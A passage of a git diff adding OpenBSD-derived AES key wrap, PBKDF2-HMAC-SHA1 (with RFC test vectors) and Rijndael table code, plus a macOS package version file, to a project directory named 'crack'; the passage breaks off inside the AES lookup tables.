b/crack/crack/Package/usr/bin/crack differ diff --git a/crack/crack/PackageVersion.plist b/crack/crack/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/crack/crack/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/crack/crack/bsdcrypto/key_wrap.c b/crack/crack/bsdcrypto/key_wrap.c new file mode 100644 index 0000000..997e742 --- /dev/null +++ b/crack/crack/bsdcrypto/key_wrap.c @@ -0,0 +1,119 @@ +/* $OpenBSD: key_wrap.c,v 1.3 2011/01/11 15:42:05 deraadt Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * This code implements the AES Key Wrap algorithm described in RFC 3394. + */ + +#include +#include + +//haxs to compile on osx +#include +#define timingsafe_bcmp bcmp +#define ovbcopy bcopy +#define explicit_bzero bzero +#define htobe64 CFSwapInt64BigToHost +#include "rijndael.h" +#include "key_wrap.h" + + +static const u_int8_t IV[8] = + { 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6 }; + +void +aes_key_wrap_set_key(aes_key_wrap_ctx *ctx, const u_int8_t *K, size_t K_len) +{ + rijndael_set_key(&ctx->ctx, K, K_len * NBBY); +} + +void +aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *ctx, const u_int8_t *K, + size_t K_len) +{ + rijndael_set_key_enc_only(&ctx->ctx, K, K_len * NBBY); +} + +void +aes_key_wrap(aes_key_wrap_ctx *ctx, const u_int8_t *P, size_t n, u_int8_t *C) +{ + u_int64_t B[2], t; + u_int8_t *A, *R; + size_t i; + int j; + + ovbcopy(P, C + 8, n * 8); /* P and C may overlap */ + A = C; /* A points to C[0] */ + memcpy(A, IV, 8); /* A = IV, an initial value */ + + for (j = 0, t = 1; j <= 5; j++) { + R = C + 8; + for (i = 1; i <= n; i++, t++) { + /* B = A | R[i] */ + memcpy(&B[0], A, 8); + memcpy(&B[1], R, 8); + /* B = AES(K, B) */ + rijndael_encrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B); + /* MSB(64, B) = MSB(64, B) ^ t */ + B[0] ^= htobe64(t); + /* A = MSB(64, B) */ + memcpy(A, &B[0], 8); + /* R[i] = LSB(64, B) */ + memcpy(R, &B[1], 8); + + R += 8; + } + } + explicit_bzero(B, sizeof B); +} + +int +aes_key_unwrap(aes_key_wrap_ctx *ctx, const u_int8_t *C, u_int8_t *P, size_t n) +{ + u_int64_t B[2], t; + u_int8_t A[8], *R; + size_t i; + int j; + + memcpy(A, C, 8); /* A = C[0] */ + ovbcopy(C + 8, P, n * 8); /* P and C may overlap */ + + for (j = 5, t = 6 * n; j >= 0; j--) { + R = P + (n - 1) * 8; + for (i = n; i >= 1; i--, t--) { + /* MSB(64, B) = A */ + memcpy(&B[0], A, 8); + /* MSB(64, B) = MSB(64, B) ^ t */ + B[0] ^= htobe64(t); + /* B = MSB(64, B) | R[i] */ + memcpy(&B[1], R, 8); + /* B = AES-1(K, B) */ + rijndael_decrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B); + /* A = MSB(64, B) */ + memcpy(A, &B[0], 8); + /* R[i] = LSB(64, B) */ + memcpy(R, &B[1], 8); + + R -= 8; + } + } + explicit_bzero(B, sizeof B); + + /* check that A is an appropriate initial value */ + return timingsafe_bcmp(A, IV, 8) != 0; +} diff --git a/crack/crack/bsdcrypto/key_wrap.h b/crack/crack/bsdcrypto/key_wrap.h new file mode 100644 index 0000000..edaf140 --- /dev/null +++ b/crack/crack/bsdcrypto/key_wrap.h @@ -0,0 +1,40 @@ +/* $OpenBSD: key_wrap.h,v 1.1 2008/08/12 15:43:00 damien Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#ifndef _KEY_WRAP_H_ +#define _KEY_WRAP_H_ + +typedef unsigned char u_int8_t; + +typedef struct _aes_key_wrap_ctx { + rijndael_ctx ctx; +} aes_key_wrap_ctx; + +#include + +__BEGIN_DECLS + +void aes_key_wrap_set_key(aes_key_wrap_ctx *, const u_int8_t *, size_t); +void aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *, const u_int8_t *, + size_t); +void aes_key_wrap(aes_key_wrap_ctx *, const u_int8_t *, size_t, u_int8_t *); +int aes_key_unwrap(aes_key_wrap_ctx *, const u_int8_t *, u_int8_t *, + size_t); +__END_DECLS + +#endif /* _KEY_WRAP_H_ */ diff --git a/crack/crack/bsdcrypto/pbkdf2.c b/crack/crack/bsdcrypto/pbkdf2.c new file mode 100644 index 0000000..d14f6ef --- /dev/null +++ b/crack/crack/bsdcrypto/pbkdf2.c @@ -0,0 +1,253 @@ +/* $OpenBSD: pbkdf2.c,v 1.1 2008/06/14 06:28:27 djm Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include + +#include +#include +#include + +#include "sha1.h" + +#include "pbkdf2.h" + +/* #define PBKDF2_MAIN */ + +/* + * HMAC-SHA-1 (from RFC 2202). + */ +static void +hmac_sha1(const u_int8_t *text, size_t text_len, const u_int8_t *key, + size_t key_len, u_int8_t digest[SHA1_DIGEST_LENGTH]) +{ + SHA1_CTX ctx; + u_int8_t k_pad[SHA1_BLOCK_LENGTH]; + u_int8_t tk[SHA1_DIGEST_LENGTH]; + int i; + + if (key_len > SHA1_BLOCK_LENGTH) { + SHA1Init(&ctx); + SHA1Update(&ctx, key, key_len); + SHA1Final(tk, &ctx); + + key = tk; + key_len = SHA1_DIGEST_LENGTH; + } + + bzero(k_pad, sizeof k_pad); + bcopy(key, k_pad, key_len); + for (i = 0; i < SHA1_BLOCK_LENGTH; i++) + k_pad[i] ^= 0x36; + + SHA1Init(&ctx); + SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH); + SHA1Update(&ctx, text, text_len); + SHA1Final(digest, &ctx); + + bzero(k_pad, sizeof k_pad); + bcopy(key, k_pad, key_len); + for (i = 0; i < SHA1_BLOCK_LENGTH; i++) + k_pad[i] ^= 0x5c; + + SHA1Init(&ctx); + SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH); + SHA1Update(&ctx, digest, SHA1_DIGEST_LENGTH); + SHA1Final(digest, &ctx); +} + +/* + * Password-Based Key Derivation Function 2 (PKCS #5 v2.0). + * Code based on IEEE Std 802.11-2007, Annex H.4.2. + */ +int +pkcs5_pbkdf2(const char *pass, size_t pass_len, const char *salt, size_t salt_len, + u_int8_t *key, size_t key_len, u_int rounds) +{ + u_int8_t *asalt, obuf[SHA1_DIGEST_LENGTH]; + u_int8_t d1[SHA1_DIGEST_LENGTH], d2[SHA1_DIGEST_LENGTH]; + u_int i, j; + u_int count; + size_t r; + + if (rounds < 1 || key_len == 0) + return -1; + if (salt_len == 0 || salt_len > SIZE_MAX - 1) + return -1; + if ((asalt = malloc(salt_len + 4)) == NULL) + return -1; + + memcpy(asalt, salt, salt_len); + + for (count = 1; key_len > 0; count++) { + asalt[salt_len + 0] = (count >> 24) & 0xff; + asalt[salt_len + 1] = (count >> 16) & 0xff; + asalt[salt_len + 2] = (count >> 8) & 0xff; + asalt[salt_len + 3] = count & 0xff; + hmac_sha1(asalt, salt_len + 4, pass, pass_len, d1); + memcpy(obuf, d1, sizeof(obuf)); + + for (i = 1; i < rounds; i++) { + hmac_sha1(d1, sizeof(d1), pass, pass_len, d2); + memcpy(d1, d2, sizeof(d1)); + for (j = 0; j < sizeof(obuf); j++) + obuf[j] ^= d1[j]; + } + + r = MIN(key_len, SHA1_DIGEST_LENGTH); + memcpy(key, obuf, r); + key += r; + key_len -= r; + }; + bzero(asalt, salt_len + 4); + free(asalt); + bzero(d1, sizeof(d1)); + bzero(d2, sizeof(d2)); + bzero(obuf, sizeof(obuf)); + + return 0; +} + +#ifdef PBKDF2_MAIN +struct test_vector { + u_int rounds; + const char *pass; + const char *salt; + const char expected[32]; +}; + +/* + * Test vectors from RFC 3962 + */ +struct test_vector test_vectors[] = { + { + 1, + "password", + "ATHENA.MIT.EDUraeburn", + { + 0xcd, 0xed, 0xb5, 0x28, 0x1b, 0xb2, 0xf8, 0x01, + 0x56, 0x5a, 0x11, 0x22, 0xb2, 0x56, 0x35, 0x15, + 0x0a, 0xd1, 0xf7, 0xa0, 0x4b, 0xb9, 0xf3, 0xa3, + 0x33, 0xec, 0xc0, 0xe2, 0xe1, 0xf7, 0x08, 0x37 + }, + }, { + 2, + "password", + "ATHENA.MIT.EDUraeburn", + { + 0x01, 0xdb, 0xee, 0x7f, 0x4a, 0x9e, 0x24, 0x3e, + 0x98, 0x8b, 0x62, 0xc7, 0x3c, 0xda, 0x93, 0x5d, + 0xa0, 0x53, 0x78, 0xb9, 0x32, 0x44, 0xec, 0x8f, + 0x48, 0xa9, 0x9e, 0x61, 0xad, 0x79, 0x9d, 0x86 + }, + }, { + 1200, + "password", + "ATHENA.MIT.EDUraeburn", + { + 0x5c, 0x08, 0xeb, 0x61, 0xfd, 0xf7, 0x1e, 0x4e, + 0x4e, 0xc3, 0xcf, 0x6b, 0xa1, 0xf5, 0x51, 0x2b, + 0xa7, 0xe5, 0x2d, 0xdb, 0xc5, 0xe5, 0x14, 0x2f, + 0x70, 0x8a, 0x31, 0xe2, 0xe6, 0x2b, 0x1e, 0x13 + }, + }, { + 5, + "password", + "\0224VxxV4\022", /* 0x1234567878563412 */ + { + 0xd1, 0xda, 0xa7, 0x86, 0x15, 0xf2, 0x87, 0xe6, + 0xa1, 0xc8, 0xb1, 0x20, 0xd7, 0x06, 0x2a, 0x49, + 0x3f, 0x98, 0xd2, 0x03, 0xe6, 0xbe, 0x49, 0xa6, + 0xad, 0xf4, 0xfa, 0x57, 0x4b, 0x6e, 0x64, 0xee + }, + }, { + 1200, + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "pass phrase equals block size", + { + 0x13, 0x9c, 0x30, 0xc0, 0x96, 0x6b, 0xc3, 0x2b, + 0xa5, 0x5f, 0xdb, 0xf2, 0x12, 0x53, 0x0a, 0xc9, + 0xc5, 0xec, 0x59, 0xf1, 0xa4, 0x52, 0xf5, 0xcc, + 0x9a, 0xd9, 0x40, 0xfe, 0xa0, 0x59, 0x8e, 0xd1 + }, + }, { + 1200, + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "pass phrase exceeds block size", + { + 0x9c, 0xca, 0xd6, 0xd4, 0x68, 0x77, 0x0c, 0xd5, + 0x1b, 0x10, 0xe6, 0xa6, 0x87, 0x21, 0xbe, 0x61, + 0x1a, 0x8b, 0x4d, 0x28, 0x26, 0x01, 0xdb, 0x3b, + 0x36, 0xbe, 0x92, 0x46, 0x91, 0x5e, 0xc8, 0x2a + }, + }, { + 50, + "\360\235\204\236", /* g-clef (0xf09d849e) */ + "EXAMPLE.COMpianist", + { + 0x6b, 0x9c, 0xf2, 0x6d, 0x45, 0x45, 0x5a, 0x43, + 0xa5, 0xb8, 0xbb, 0x27, 0x6a, 0x40, 0x3b, 0x39, + 0xe7, 0xfe, 0x37, 0xa0, 0xc4, 0x1e, 0x02, 0xc2, + 0x81, 0xff, 0x30, 0x69, 0xe1, 0xe9, 0x4f, 0x52 + }, + } +}; +#define NVECS (sizeof(test_vectors) / sizeof(*test_vectors)) + +#include +#include + +static void +printhex(const char *s, const u_int8_t *buf, size_t len) +{ + size_t i; + + printf("%s: ", s); + for (i = 0; i < len; i++) + printf("%02x", buf[i]); + printf("\n"); + fflush(stdout); +} + +int +pbkdf2(int argc, char **argv) +{ + u_int i, j; + u_char result[32]; + struct test_vector *vec; + + for (i = 0; i < NVECS; i++) { + vec = &test_vectors[i]; + printf("vector %u\n", i); + for (j = 1; j < sizeof(result); j += 3) { + if (pkcs5_pbkdf2(vec->pass, strlen(vec->pass), + vec->salt, strlen(vec->salt), + result, j, vec->rounds) != 0) + errx(1, "pbkdf2 failed"); + if (memcmp(result, vec->expected, j) != 0) { + printhex(" got", result, j); + printhex("want", vec->expected, j); + return 1; + } + } + } + return 0; +} +#endif /* PBKDF2_MAIN */ diff --git a/crack/crack/bsdcrypto/pbkdf2.h b/crack/crack/bsdcrypto/pbkdf2.h new file mode 100644 index 0000000..2ee04c7 --- /dev/null +++ b/crack/crack/bsdcrypto/pbkdf2.h @@ -0,0 +1,24 @@ +/* $OpenBSD: pbkdf2.h,v 1.1 2008/06/14 06:28:27 djm Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Password-Based Key Derivation Function 2 (PKCS #5 v2.0). + * Code based on IEEE Std 802.11-2007, Annex H.4.2. + */ +int pkcs5_pbkdf2(const char *, size_t, const char *, size_t, + u_int8_t *, size_t, u_int); diff --git a/crack/crack/bsdcrypto/rijndael.c b/crack/crack/bsdcrypto/rijndael.c new file mode 100644 index 0000000..59ab79f --- /dev/null +++ b/crack/crack/bsdcrypto/rijndael.c @@ -0,0 +1,1266 @@ +/* $OpenBSD: rijndael.c,v 1.19 2008/06/09 07:49:45 djm Exp $ */ + +/** + * rijndael-alg-fst.c + * + * @version 3.0 (December 2000) + * + * Optimised ANSI C code for the Rijndael cipher (now AES) + * + * @author Vincent Rijmen + * @author Antoon Bosselaers + * @author Paulo Barreto + * + * This code is hereby placed in the public domain. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE + * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +//#include + +#include "rijndael.h" + +#undef FULL_UNROLL + +/* +Te0[x] = S [x].[02, 01, 01, 03]; +Te1[x] = S [x].[03, 02, 01, 01]; +Te2[x] = S [x].[01, 03, 02, 01]; +Te3[x] = S [x].[01, 01, 03, 02]; +Te4[x] = S [x].[01, 01, 01, 01]; + +Td0[x] = Si[x].[0e, 09, 0d, 0b]; +Td1[x] = Si[x].[0b, 0e, 09, 0d]; +Td2[x] = Si[x].[0d, 0b, 0e, 09]; +Td3[x] = Si[x].[09, 0d, 0b, 0e]; +Td4[x] = Si[x].[01, 01, 01, 01]; +*/ + +static const u32 Te0[256] = { + 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, + 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, + 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, + 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, + 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, + 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, + 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, + 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, + 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, + 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, + 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, + 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, + 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, + 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, + 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, + 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, + 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, + 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, + 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, + 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, + 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, + 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, + 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, + 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, + 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, + 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, + 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, + 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, + 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, + 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, + 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, + 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, + 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, + 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, + 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, + 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, + 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, + 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, + 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, + 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, + 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, + 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, + 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, + 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, + 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, + 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, + 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, + 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, + 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, + 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, + 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, + 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, + 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, + 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, + 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, + 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, + 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, + 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, + 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, + 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, + 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, + 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, + 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, + 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, +}; +static const u32 Te1[256] = { + 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, + 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, + 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, + 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, + 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, + 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, + 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, + 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, + 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, + 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, + 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, + 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, + 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, + 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, + 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, + 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, + 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, + 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, + 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, + 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, + 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, + 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, + 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, + 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, + 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, + 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, + 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, + 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, + 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, + 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, + 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, + 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, + 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, + 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, + 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, + 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, + 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, + 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, + 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, + 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, + 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, + 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, + 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, + 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, + 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, + 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, + 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, + 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, + 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, + 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, + 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, + 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, + 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, + 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, + 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, + 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, + 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, + 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, + 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, + 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, + 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, + 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, + 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, + 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, +}; +static const u32 Te2[256] = { + 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, + 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, + 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, + 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, + 0xca458fcaU, 